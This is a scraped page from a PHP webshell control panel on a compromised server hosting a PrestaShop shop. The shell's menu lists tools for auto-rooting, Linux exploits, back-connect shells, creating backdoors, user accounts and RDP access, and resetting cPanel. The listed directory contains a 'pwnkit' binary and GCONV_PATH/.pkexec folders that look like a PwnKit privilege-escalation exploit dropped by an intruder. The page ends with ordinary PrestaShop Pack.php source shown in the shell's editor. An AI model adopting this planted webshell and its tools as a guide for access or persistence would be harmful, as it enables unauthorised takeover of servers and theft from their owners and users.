Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.137.187.85
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
checkout
[ DIR ]
drwxr-xr-x
container
[ DIR ]
drwxr-xr-x
controller
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
exception
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
helper
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
log
[ DIR ]
drwxr-xr-x
module
[ DIR ]
drwxr-xr-x
order
[ DIR ]
drwxr-xr-x
pdf
[ DIR ]
drwxr-xr-x
product
[ DIR ]
drwxr-xr-x
proxy
[ DIR ]
drwxr-xr-x
range
[ DIR ]
drwxr-xr-x
shop
[ DIR ]
drwxr-xr-x
stock
[ DIR ]
drwxr-xr-x
tax
[ DIR ]
drwxr-xr-x
tree
[ DIR ]
drwxr-xr-x
webservice
[ DIR ]
drwxr-xr-x
.htaccess
170
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Access.php
13.25
KB
-rw-r--r--
Address.php
21.03
KB
-rw-r--r--
AddressChecksumCore.php
1.81
KB
-rw-r--r--
AddressFormat.php
24.54
KB
-rw-r--r--
Alias.php
4.99
KB
-rw-r--r--
Attachment.php
11.27
KB
-rw-r--r--
AttributeGroup.php
13.17
KB
-rw-r--r--
CMS.php
11.45
KB
-rw-r--r--
CMSCategory.php
23.56
KB
-rw-r--r--
CMSRole.php
1.78
KB
-rw-r--r--
CSV.php
3.04
KB
-rw-r--r--
Carrier.php
63.97
KB
-rw-r--r--
Cart.php
211.83
KB
-rw-r--r--
CartRule.php
89.84
KB
-rw-r--r--
Category.php
87
KB
-rw-r--r--
Chart.php
4.08
KB
-rw-r--r--
ChecksumInterface.php
1.22
KB
-rw-r--r--
Combination.php
17.59
KB
-rw-r--r--
Configuration.php
26.5
KB
-rw-r--r--
ConfigurationKPI.php
8.91
KB
-rw-r--r--
ConfigurationTest.php
12.02
KB
-rw-r--r--
Connection.php
10.02
KB
-rw-r--r--
ConnectionsSource.php
4.81
KB
-rw-r--r--
Contact.php
3.83
KB
-rw-r--r--
Context.php
17.94
KB
-rw-r--r--
Cookie.php
17.39
KB
-rw-r--r--
Country.php
16.33
KB
-rw-r--r--
Currency.php
36.3
KB
-rw-r--r--
Curve.php
2.92
KB
-rw-r--r--
Customer.php
52.22
KB
-rw-r--r--
CustomerAddress.php
1.26
KB
-rw-r--r--
CustomerMessage.php
5.75
KB
-rw-r--r--
CustomerSession.php
2.65
KB
-rw-r--r--
CustomerThread.php
9.62
KB
-rw-r--r--
Customization.php
13.43
KB
-rw-r--r--
CustomizationField.php
2.85
KB
-rw-r--r--
DateRange.php
2.47
KB
-rw-r--r--
Delivery.php
3.24
KB
-rw-r--r--
Dispatcher.php
46.94
KB
-rw-r--r--
Employee.php
23.5
KB
-rw-r--r--
EmployeeSession.php
2.65
KB
-rw-r--r--
Feature.php
11.38
KB
-rw-r--r--
FeatureFlag.php
3.15
KB
-rw-r--r--
FeatureValue.php
8.06
KB
-rw-r--r--
FileUploader.php
3.73
KB
-rw-r--r--
Gender.php
2.81
KB
-rw-r--r--
Group.php
14.96
KB
-rw-r--r--
GroupReduction.php
8.81
KB
-rw-r--r--
Guest.php
8.31
KB
-rw-r--r--
Hook.php
46.57
KB
-rw-r--r--
Image.php
31.24
KB
-rw-r--r--
ImageManager.php
31.79
KB
-rw-r--r--
ImageType.php
6.99
KB
-rw-r--r--
Language.php
62.06
KB
-rw-r--r--
Link.php
61.05
KB
-rw-r--r--
LocalizationPack.php
23.05
KB
-rw-r--r--
Mail.php
33.49
KB
-rw-r--r--
Manufacturer.php
21.2
KB
-rw-r--r--
ManufacturerAddress.php
1.28
KB
-rw-r--r--
Media.php
31.43
KB
-rw-r--r--
Message.php
6.47
KB
-rw-r--r--
Meta.php
18.21
KB
-rw-r--r--
Notification.php
8.27
KB
-rw-r--r--
ObjectModel.php
81.56
KB
-rw-r--r--
Pack.php
24.63
KB
-rw-r--r--
Page.php
4.49
KB
-rw-r--r--
PaymentFree.php
1.33
KB
-rw-r--r--
PaymentModule.php
59.49
KB
-rw-r--r--
PhpEncryption.php
3.21
KB
-rw-r--r--
PhpEncryptionEngine.php
3.86
KB
-rw-r--r--
PrestaShopAutoload.php
9.57
KB
-rw-r--r--
PrestaShopBackup.php
11.91
KB
-rw-r--r--
PrestaShopCollection.php
21.28
KB
-rw-r--r--
PrestaShopLogger.php
8.3
KB
-rw-r--r--
Product.php
309.01
KB
-rw-r--r--
ProductAssembler.php
6.73
KB
-rw-r--r--
ProductAttribute.php
13.48
KB
-rw-r--r--
ProductDownload.php
10.05
KB
-rw-r--r--
ProductPresenterFactory.php
3.89
KB
-rw-r--r--
ProductSale.php
12.7
KB
-rw-r--r--
ProductSupplier.php
8.34
KB
-rw-r--r--
Profile.php
8.32
KB
-rw-r--r--
QqUploadedFileForm.php
5.19
KB
-rw-r--r--
QqUploadedFileXhr.php
5.69
KB
-rw-r--r--
QuickAccess.php
6.25
KB
-rw-r--r--
RequestSql.php
20.93
KB
-rw-r--r--
Risk.php
2.36
KB
-rw-r--r--
Search.php
51.86
KB
-rw-r--r--
SearchEngine.php
2.81
KB
-rw-r--r--
SpecificPrice.php
32.43
KB
-rw-r--r--
SpecificPriceRule.php
14.04
KB
-rw-r--r--
State.php
7.77
KB
-rw-r--r--
Store.php
6.24
KB
-rw-r--r--
Supplier.php
17.89
KB
-rw-r--r--
SupplierAddress.php
1.27
KB
-rw-r--r--
Tab.php
21.7
KB
-rw-r--r--
Tag.php
13.24
KB
-rw-r--r--
Tools.php
136.37
KB
-rw-r--r--
Translate.php
11.78
KB
-rw-r--r--
TranslatedConfiguration.php
4.68
KB
-rw-r--r--
Upgrader.php
11.58
KB
-rw-r--r--
Uploader.php
10.84
KB
-rw-r--r--
Validate.php
38.87
KB
-rw-r--r--
ValidateConstraintTranslator.p...
2.55
KB
-rw-r--r--
WarehouseAddress.php
1.27
KB
-rw-r--r--
Zone.php
3.42
KB
-rw-r--r--
index.php
1.34
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Pack.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Core\Domain\Product\Pack\ValueObject\PackStockType; use PrestaShop\PrestaShop\Core\Domain\Product\ValueObject\ProductType; class PackCore extends Product { /** * Only decrement pack quantity. * * @var int */ public const STOCK_TYPE_PACK_ONLY = PackStockType::STOCK_TYPE_PACK_ONLY; /** * Only decrement pack products quantities. * * @var int */ public const STOCK_TYPE_PRODUCTS_ONLY = PackStockType::STOCK_TYPE_PRODUCTS_ONLY; /** * Decrement pack quantity and pack products quantities. * * @var int */ public const STOCK_TYPE_PACK_BOTH = PackStockType::STOCK_TYPE_BOTH; /** * Use pack quantity default setting. * * @var int */ public const STOCK_TYPE_DEFAULT = PackStockType::STOCK_TYPE_DEFAULT; protected static $cachePackItems = []; protected static $cacheIsPack = []; protected static $cacheIsPacked = []; public static function resetStaticCache() { self::$cachePackItems = []; self::$cacheIsPack = []; self::$cacheIsPacked = []; } /** * Is product a pack? * * @param int $id_product * * @return bool */ public static function isPack($id_product) { if (!Pack::isFeatureActive()) { return false; } if (!$id_product) { return false; } if (!array_key_exists($id_product, self::$cacheIsPack)) { $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM `' . _DB_PREFIX_ . 'pack` WHERE id_product_pack = ' . (int) $id_product); $productType = Db::getInstance()->getValue('SELECT product_type FROM `' . _DB_PREFIX_ . 'product` WHERE id_product = ' . (int) $id_product); self::$cacheIsPack[$id_product] = ($result > 0) || $productType === ProductType::TYPE_PACK; } return self::$cacheIsPack[$id_product]; } /** * Is product in a pack? * If $id_product_attribute specified, then will restrict search on the given combination, * else this method will match a product if at least one of all its combination is in a pack. * * @param int $id_product * @param int|bool $id_product_attribute Optional combination of the product * * @return bool */ public static function isPacked($id_product, $id_product_attribute = false) { if (!Pack::isFeatureActive()) { return false; } if ($id_product_attribute === false) { $cache_key = $id_product . '-0'; if (!array_key_exists($cache_key, self::$cacheIsPacked)) { $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM `' . _DB_PREFIX_ . 'pack` WHERE id_product_item = ' . (int) $id_product); self::$cacheIsPacked[$cache_key] = ($result > 0); } return self::$cacheIsPacked[$cache_key]; } else { $cache_key = $id_product . '-' . $id_product_attribute; if (!array_key_exists($cache_key, self::$cacheIsPacked)) { $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM `' . _DB_PREFIX_ . 'pack` WHERE id_product_item = ' . ((int) $id_product) . ' AND id_product_attribute_item = ' . ((int) $id_product_attribute)); self::$cacheIsPacked[$cache_key] = ($result > 0); } return self::$cacheIsPacked[$cache_key]; } } public static function noPackPrice($id_product) { $sum = 0; $price_display_method = !self::$_taxCalculationMethod; $items = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($items as $item) { $pricePerItem = $item->getPrice($price_display_method, ($item->id_pack_product_attribute ? $item->id_pack_product_attribute : null)); // Different calculation depending on rounding type switch (Configuration::get('PS_ROUND_TYPE')) { case Order::ROUND_TOTAL: $sum += $pricePerItem * $item->pack_quantity; break; case Order::ROUND_LINE: $sum += Tools::ps_round( $pricePerItem * $item->pack_quantity, Context::getContext()->getComputingPrecision() ); break; case Order::ROUND_ITEM: default: $sum += Tools::ps_round( $pricePerItem, Context::getContext()->getComputingPrecision() ) * $item->pack_quantity; break; } } return $sum; } public static function noPackWholesalePrice($id_product) { $sum = 0; $items = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($items as $item) { $sum += $item->wholesale_price * $item->pack_quantity; } return $sum; } public static function getItems($id_product, $id_lang) { if (!Pack::isFeatureActive()) { return []; } if (array_key_exists($id_product, self::$cachePackItems)) { return self::$cachePackItems[$id_product]; } $result = Db::getInstance()->executeS('SELECT id_product_item, id_product_attribute_item, quantity FROM `' . _DB_PREFIX_ . 'pack` where id_product_pack = ' . (int) $id_product); $array_result = []; foreach ($result as $row) { $p = new Product($row['id_product_item'], false, $id_lang); $p->loadStockData(); $p->pack_quantity = $row['quantity']; $p->id_pack_product_attribute = (isset($row['id_product_attribute_item']) && $row['id_product_attribute_item'] ? $row['id_product_attribute_item'] : 0); if (isset($row['id_product_attribute_item']) && $row['id_product_attribute_item']) { $sql = 'SELECT agl.`name` AS group_name, al.`name` AS attribute_name, pa.`reference` AS attribute_reference FROM `' . _DB_PREFIX_ . 'product_attribute` pa ' . Shop::addSqlAssociation('product_attribute', 'pa') . ' LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_combination` pac ON pac.`id_product_attribute` = pa.`id_product_attribute` LEFT JOIN `' . _DB_PREFIX_ . 'attribute` a ON a.`id_attribute` = pac.`id_attribute` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = ' . (int) Context::getContext()->language->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = ' . (int) Context::getContext()->language->id . ') WHERE pa.`id_product_attribute` = ' . $row['id_product_attribute_item'] . ' GROUP BY pa.`id_product_attribute`, ag.`id_attribute_group` ORDER BY pa.`id_product_attribute`'; $combinations = Db::getInstance()->executeS($sql); foreach ($combinations as $k => $combination) { $p->name .= ' ' . $combination['group_name'] . '-' . $combination['attribute_name']; $p->reference = $combination['attribute_reference']; } } $array_result[] = $p; } self::$cachePackItems[$id_product] = $array_result; return self::$cachePackItems[$id_product]; } /** * Indicates if a pack and its associated products are available for orders in the desired quantity. * * @todo This method returns true even if the pack feature is not active. * Should throw an exception instead. * Developers should first test if product is a pack * and then if it's in stock. * * @param int $idProduct * @param int $wantedQuantity * @param Cart|null $cart * * @return bool * * @throws PrestaShopException */ public static function isInStock($idProduct, $wantedQuantity = 1, Cart $cart = null) { if (!Pack::isFeatureActive()) { return true; } $idProduct = (int) $idProduct; $wantedQuantity = (int) $wantedQuantity; $product = new Product($idProduct, false); $packQuantity = self::getQuantity($idProduct, null, null, $cart); if ($product->isAvailableWhenOutOfStock($product->out_of_stock)) { return true; } elseif ($wantedQuantity > $packQuantity) { return false; } return true; } /** * Returns the available quantity of a given pack (this method already have decreased products in cart). * * @param int $idProduct Product id * @param int|null $idProductAttribute Product attribute id (optional) * @param bool|null $cacheIsPack * @param CartCore|null $cart * @param int|null $idCustomization Product customization id (optional) * * @return int * * @throws PrestaShopException */ public static function getQuantity( $idProduct, $idProductAttribute = null, $cacheIsPack = null, CartCore $cart = null, $idCustomization = null ) { $idProduct = (int) $idProduct; $idProductAttribute = (int) $idProductAttribute; if (!self::isPack($idProduct)) { throw new PrestaShopException("Product with id $idProduct is not a pack"); } // Initialize $product = new Product($idProduct, false); $packQuantity = 0; $packQuantityInStock = StockAvailable::getQuantityAvailableByProduct( $idProduct, $idProductAttribute ); $packStockType = $product->pack_stock_type; $allPackStockType = [ self::STOCK_TYPE_PACK_ONLY, self::STOCK_TYPE_PRODUCTS_ONLY, self::STOCK_TYPE_PACK_BOTH, self::STOCK_TYPE_DEFAULT, ]; if (!in_array($packStockType, $allPackStockType)) { throw new PrestaShopException('Unknown pack stock type'); } // If no pack stock or shop default, set it if (empty($packStockType) || $packStockType == self::STOCK_TYPE_DEFAULT ) { $packStockType = Configuration::get('PS_PACK_STOCK_TYPE'); } // Initialize with pack quantity if not only products if (in_array($packStockType, [self::STOCK_TYPE_PACK_ONLY, self::STOCK_TYPE_PACK_BOTH])) { $packQuantity = $packQuantityInStock; } // Set pack quantity to the minimum quantity of pack, or // product pack if (in_array($packStockType, [self::STOCK_TYPE_PACK_BOTH, self::STOCK_TYPE_PRODUCTS_ONLY])) { $items = array_values(Pack::getItems($idProduct, Configuration::get('PS_LANG_DEFAULT'))); foreach ($items as $index => $item) { $itemQuantity = Product::getQuantity($item->id, $item->id_pack_product_attribute ?: null, null, $cart, $idCustomization); $nbPackAvailableForItem = (int) floor($itemQuantity / $item->pack_quantity); // Initialize packQuantity with the first product quantity // if pack decrement stock type is products only if ($index === 0 && $packStockType == self::STOCK_TYPE_PRODUCTS_ONLY ) { $packQuantity = $nbPackAvailableForItem; continue; } if ($nbPackAvailableForItem < $packQuantity) { $packQuantity = $nbPackAvailableForItem; } } } elseif (!empty($cart)) { $cartProduct = $cart->getProductQuantity($idProduct, $idProductAttribute, $idCustomization); if (!empty($cartProduct['deep_quantity'])) { $packQuantity -= $cartProduct['deep_quantity']; } } return $packQuantity; } public static function getItemTable($id_product, $id_lang, $full = false) { if (!Pack::isFeatureActive()) { return []; } $context = Context::getContext(); $sql = 'SELECT p.*, product_shop.*, pl.*, image_shop.`id_image` id_image, il.`legend`, cl.`name` AS category_default, a.quantity AS pack_quantity, product_shop.`id_category_default`, a.id_product_pack, a.id_product_attribute_item FROM `' . _DB_PREFIX_ . 'pack` a LEFT JOIN `' . _DB_PREFIX_ . 'product` p ON p.id_product = a.id_product_item LEFT JOIN `' . _DB_PREFIX_ . 'product_lang` pl ON p.id_product = pl.id_product AND pl.`id_lang` = ' . (int) $id_lang . Shop::addSqlRestrictionOnLang('pl') . ' LEFT JOIN `' . _DB_PREFIX_ . 'image_shop` image_shop ON (image_shop.`id_product` = p.`id_product` AND image_shop.cover=1 AND image_shop.id_shop=' . (int) $context->shop->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'image_lang` il ON (image_shop.`id_image` = il.`id_image` AND il.`id_lang` = ' . (int) $id_lang . ') ' . Shop::addSqlAssociation('product', 'p') . ' LEFT JOIN `' . _DB_PREFIX_ . 'category_lang` cl ON product_shop.`id_category_default` = cl.`id_category` AND cl.`id_lang` = ' . (int) $id_lang . Shop::addSqlRestrictionOnLang('cl') . ' WHERE product_shop.`id_shop` = ' . (int) $context->shop->id . ' AND a.`id_product_pack` = ' . (int) $id_product . ' GROUP BY a.`id_product_item`, a.`id_product_attribute_item`'; $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); /** @var array{id_product: int, id_product_attribute_item: int|null, name: string} $line */ foreach ($result as &$line) { if (Combination::isFeatureActive() && isset($line['id_product_attribute_item']) && $line['id_product_attribute_item']) { $line['cache_default_attribute'] = $line['id_product_attribute'] = $line['id_product_attribute_item']; $sql = 'SELECT pa.`reference` AS attribute_reference, agl.`name` AS group_name, al.`name` AS attribute_name, pai.`id_image` AS id_product_attribute_image FROM `' . _DB_PREFIX_ . 'product_attribute` pa ' . Shop::addSqlAssociation('product_attribute', 'pa') . ' LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_combination` pac ON pac.`id_product_attribute` = ' . $line['id_product_attribute_item'] . ' LEFT JOIN `' . _DB_PREFIX_ . 'attribute` a ON a.`id_attribute` = pac.`id_attribute` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` LEFT JOIN `' . _DB_PREFIX_ . 'attribute_lang` al ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = ' . (int) Context::getContext()->language->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'attribute_group_lang` agl ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = ' . (int) Context::getContext()->language->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_image` pai ON (' . $line['id_product_attribute_item'] . ' = pai.`id_product_attribute`) WHERE pa.`id_product` = ' . (int) $line['id_product'] . ' AND pa.`id_product_attribute` = ' . $line['id_product_attribute_item'] . ' GROUP BY pa.`id_product_attribute`, ag.`id_attribute_group` ORDER BY pa.`id_product_attribute`'; $attr_name = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); if (isset($attr_name[0]['id_product_attribute_image']) && $attr_name[0]['id_product_attribute_image']) { $line['id_image'] = $attr_name[0]['id_product_attribute_image']; } $line['reference'] = $attr_name[0]['attribute_reference'] ?? ''; $line['name'] .= "\n"; foreach ($attr_name as $value) { $line['name'] .= ' ' . $value['group_name'] . '-' . $value['attribute_name']; } } $line = Product::getTaxesInformations($line); } if (!$full) { return $result; } $array_result = []; foreach ($result as $prow) { if (!Pack::isPack($prow['id_product'])) { $prow['id_product_attribute'] = (int) $prow['id_product_attribute_item']; $array_result[] = Product::getProductProperties($id_lang, $prow); } } return $array_result; } public static function getPacksTable($id_product, $id_lang, $full = false, $limit = null) { if (!Pack::isFeatureActive()) { return []; } $packs = Db::getInstance()->getValue(' SELECT GROUP_CONCAT(a.`id_product_pack`) FROM `' . _DB_PREFIX_ . 'pack` a WHERE a.`id_product_item` = ' . (int) $id_product); if (!(int) $packs) { return []; } $context = Context::getContext(); $sql = ' SELECT p.*, product_shop.*, pl.*, image_shop.`id_image` id_image, il.`legend`, IFNULL(product_attribute_shop.id_product_attribute, 0) id_product_attribute FROM `' . _DB_PREFIX_ . 'product` p NATURAL LEFT JOIN `' . _DB_PREFIX_ . 'product_lang` pl ' . Shop::addSqlAssociation('product', 'p') . ' LEFT JOIN `' . _DB_PREFIX_ . 'product_attribute_shop` product_attribute_shop ON (p.`id_product` = product_attribute_shop.`id_product` AND product_attribute_shop.`default_on` = 1 AND product_attribute_shop.id_shop=' . (int) $context->shop->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'image_shop` image_shop ON (image_shop.`id_product` = p.`id_product` AND image_shop.cover=1 AND image_shop.id_shop=' . (int) $context->shop->id . ') LEFT JOIN `' . _DB_PREFIX_ . 'image_lang` il ON (image_shop.`id_image` = il.`id_image` AND il.`id_lang` = ' . (int) $id_lang . ') WHERE pl.`id_lang` = ' . (int) $id_lang . ' ' . Shop::addSqlRestrictionOnLang('pl') . ' AND p.`id_product` IN (' . $packs . ') GROUP BY p.id_product'; if ($limit) { $sql .= ' LIMIT ' . (int) $limit; } $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); if (!$full) { return $result; } $array_result = []; foreach ($result as $row) { if (!Pack::isPacked($row['id_product'])) { $array_result[] = Product::getProductProperties($id_lang, $row); } } return $array_result; } public static function deleteItems($id_product, $refreshCache = true) { $result = true; if ($refreshCache) { $result = Db::getInstance()->update('product', ['cache_is_pack' => 0], 'id_product = ' . (int) $id_product); } return $result && Db::getInstance()->execute('DELETE FROM `' . _DB_PREFIX_ . 'pack` WHERE `id_product_pack` = ' . (int) $id_product) && Configuration::updateGlobalValue('PS_PACK_FEATURE_ACTIVE', Pack::isCurrentlyUsed()); } /** * Add an item to the pack. * * @param int $id_product * @param int $id_item * @param int $qty * @param int $id_attribute_item * * @return bool true if everything was fine * * @throws PrestaShopDatabaseException */ public static function addItem($id_product, $id_item, $qty, $id_attribute_item = 0) { $id_attribute_item = (int) $id_attribute_item ? (int) $id_attribute_item : Product::getDefaultAttribute((int) $id_item); return Db::getInstance()->update('product', ['cache_is_pack' => 1, 'product_type' => ProductType::TYPE_PACK], 'id_product = ' . (int) $id_product) && Db::getInstance()->insert('pack', [ 'id_product_pack' => (int) $id_product, 'id_product_item' => (int) $id_item, 'id_product_attribute_item' => (int) $id_attribute_item, 'quantity' => (int) $qty, ]) && Configuration::updateGlobalValue('PS_PACK_FEATURE_ACTIVE', '1'); } public static function duplicate($id_product_old, $id_product_new) { Db::getInstance()->execute('INSERT INTO `' . _DB_PREFIX_ . 'pack` (`id_product_pack`, `id_product_item`, `id_product_attribute_item`, `quantity`) (SELECT ' . (int) $id_product_new . ', `id_product_item`, `id_product_attribute_item`, `quantity` FROM `' . _DB_PREFIX_ . 'pack` WHERE `id_product_pack` = ' . (int) $id_product_old . ')'); // If return query result, a non-pack product will return false return true; } /** * This method is allow to know if a feature is used or active. * * @since 1.5.0.1 * * @return bool */ public static function isFeatureActive() { return Configuration::get('PS_PACK_FEATURE_ACTIVE'); } /** * This method is allow to know if a Pack entity is currently used. * * @since 1.5.0 * * @param string|null $table Name of table linked to entity * @param bool $has_active_column True if the table has an active column * * @return bool */ public static function isCurrentlyUsed($table = null, $has_active_column = false) { // We dont't use the parent method because the identifier isn't id_pack return (bool) Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' SELECT `id_product_pack` FROM `' . _DB_PREFIX_ . 'pack` '); } /** * For a given pack, tells if it has at least one product using the advanced stock management. * * @param int $id_product id_pack * * @return bool */ public static function usesAdvancedStockManagement($id_product) { if (!Pack::isPack($id_product)) { return false; } $products = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($products as $product) { // if one product uses the advanced stock management if ($product->advanced_stock_management == 1) { return true; } } // not used return false; } /** * For a given pack, tells if all products using the advanced stock management. * * @param int $id_product id_pack * * @return bool */ public static function allUsesAdvancedStockManagement($id_product) { if (!Pack::isPack($id_product)) { return false; } $products = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); foreach ($products as $product) { // if one product uses the advanced stock management if ($product->advanced_stock_management == 0) { return false; } } // not used return true; } /** * Returns Packs that contains the given product in the right declinaison. * * @param int $id_item Product item id that could be contained in a|many pack(s) * @param int $id_attribute_item The declinaison of the product * @param int $id_lang * * @return array[Product] Packs that contains the given product */ public static function getPacksContainingItem($id_item, $id_attribute_item, $id_lang) { if (!Pack::isFeatureActive() || !$id_item) { return []; } $query = 'SELECT `id_product_pack`, `quantity` FROM `' . _DB_PREFIX_ . 'pack` WHERE `id_product_item` = ' . ((int) $id_item); if (Combination::isFeatureActive()) { $query .= ' AND `id_product_attribute_item` = ' . ((int) $id_attribute_item); } $result = Db::getInstance()->executeS($query); $array_result = []; foreach ($result as $row) { $p = new Product($row['id_product_pack'], true, $id_lang); $p->loadStockData(); $p->pack_item_quantity = $row['quantity']; // Specific need from StockAvailable::updateQuantity() $array_result[] = $p; } return $array_result; } }
Close